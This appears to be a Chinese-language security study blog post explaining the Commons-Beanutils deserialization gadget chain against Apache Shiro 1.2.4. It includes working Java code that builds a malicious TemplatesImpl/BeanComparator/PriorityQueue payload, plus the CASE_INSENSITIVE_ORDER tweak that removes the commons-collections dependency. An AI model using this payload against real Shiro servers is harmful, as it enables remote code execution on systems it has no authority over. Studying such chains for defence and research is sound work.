记Shiro反序列化学习(二)

前言

在(一)里面,我们介绍了打Shiro反序列化的CC链构成的exp,准确来说是commons-collections
我正好再来学习Commons-Beanutils这个库,它的链子应该怎么搭呢?
关于它的详细介绍可以看这篇网站 JavaBean
现在,与其说是在学习Shiro反序列化链子新的打法,不如说是在学习新的链子(),只是说具体到场景上了
提一嘴,前面只写了CC1&CC6,但是关TemplatesImpl类的命令执行等等没提,以后会回顾上

链子

既然都利用Commons-Beanutils库了,常规的transform方法调用行不通了,我们切换成TemplateImpl类的命令执行,而启动,我们同样换成常见的PriorityQueue类,即,属于CC4的一个变种,即我们改变了中间过渡的地方
还记得CC4是怎么写的吗?

1
PriorityQueue#readobject->..........->TransformingComparator#compare->instantiateTransformer#transform->TrAXFilter#TrAXFilter->TemplatesImpl#newTransformer->...->成功触发加载的恶意字节码的构造函数,触发命令  

因此,关键在于触发TemplatesImpl类的newTransformer方法,而在新库中,定义了一个新的静态方法

PropertyUtils.getProperty ,让使用者可以直接调用任
意JavaBean的getter方法
比如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
final public class Cat {
private String name = "catalina";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
它包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。其中,getter
的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法(Camel-Case)

PropertyUtils.getProperty(new Cat(), "name");
这个方法还支持递归调用属性

即,有没有可能在某个compare方法中,调用PropertyUtils.getProperty方法,然后用它调用某个getter方法(以get开头的方法名),然后又触发链子,到达TemplatesImpl#newTransformer
当然最好这个getter方法在TemplatesImpl类中,能不能找到呢?
找到了好东西

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

找可以利用的 java.util.Comparator 对象
org.apache.commons.beanutils.BeanComparator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException iae) {
throw new RuntimeException("IllegalAccessException: " + iae.toString());
} catch (InvocationTargetException ite) {
throw new RuntimeException("InvocationTargetException: " + ite.toString());
} catch (NoSuchMethodException nsme) {
throw new RuntimeException("NoSuchMethodException: " + nsme.toString());
}
}
}

这里关注下,我们add进队列的是o1,o2,property是我们后续要经过反射设置的getter方法名,同时后续也要把PriorityQueue实例化的quequ中的元素(o1,o2)换成我们的恶意TemplatesImpl对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ClassPool pool = ClassPool.getDefault();
CtClass clazz =
pool.get(com.example.Evil.class.getName());
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_name","xxxx");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{clazz.toBytecode()});
BeanComparator comparator = new BeanComparator();
PriorityQueue priorityQueue=new PriorityQueue<>(comparator);
priorityQueue.add(1);
priorityQueue.add(1);
setFieldValue(comparator,"property","outputProperties");
setFieldValue(priorityQueue,"queue",new Object[]{templates,1});
serilize(priorityQueue);
unserilize("1.bin");

链子挺简单倒是,以上链子属于简化版,重在理解,不过既然本篇讲的是Shiro,那便不会止步于此,之前我们讲Shiro(一)用CC链打,需要靶机有这个依赖,但我们知道可能性并不打,那有没有一种可能吗,Shiro库本身就存在一条可以打的链子呢?
或者,换个问题,Shiro库本身是不是默认Commons-Beanutils库呢?
这个问题很容易求证

1
2
3
4
5
6
7
8
9
10
11
<dependencies>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.2.4</version>
</dependency>

发现依赖中多了一个

结束了吗,并没有

serialVersionUID是什么?

序列化运行时将一个版本号(称为serialVersionUID)与每个可序列化类相关联,该版本号在反序列化期间用于验证序列化对象的发送方和接收方是否为该对象加载了与序列化兼容的类。
如果接收方为对象加载的类与相应发送方类的serialVersionId不同,则反序列化将导致InvalidClassException
注意Shiro中自带的commons-beanutils是1.8.3版本,换上匹配的版本即可

ComparableComparator类呢?

实际反序列化会发现,这个类不见了,没有它,反序列化不成功

1
2
3
commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽
然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于
commons-collections,但反序列化利用的时候需要依赖于commons-collections

查找一些这个类的使用情况
在BeanComparator类中

1
2
3
4
5
6
package org.apache.commons.beanutils;

import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.util.Comparator;
import org.apache.commons.collections.comparators.ComparableComparator;

在 BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用
ComparableComparator类
现在就是替换掉ComparableComparator类了
需要满足即可要求

1
2
3
第一,要求实现接口,java.util.Comparator
第二,要求是可以被序列化的
第三,要求Java、shiro或commons-beanutils自带

CaseInsensitiveComparator类

1
2
3
4
5
是 java.lang.String 类下的一个内部私有类,其实现了
Comparator 和 Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品。
利用方式如下
BeanComparator comparator = new BeanComparator(null,
String.CASE_INSENSITIVE_ORDER);

只需改动这个即可,反序列化成功()
看似只是一步小的改动,实则完全蜕变,不依赖commons-collections库,cool

结语

感谢前人不止的研究~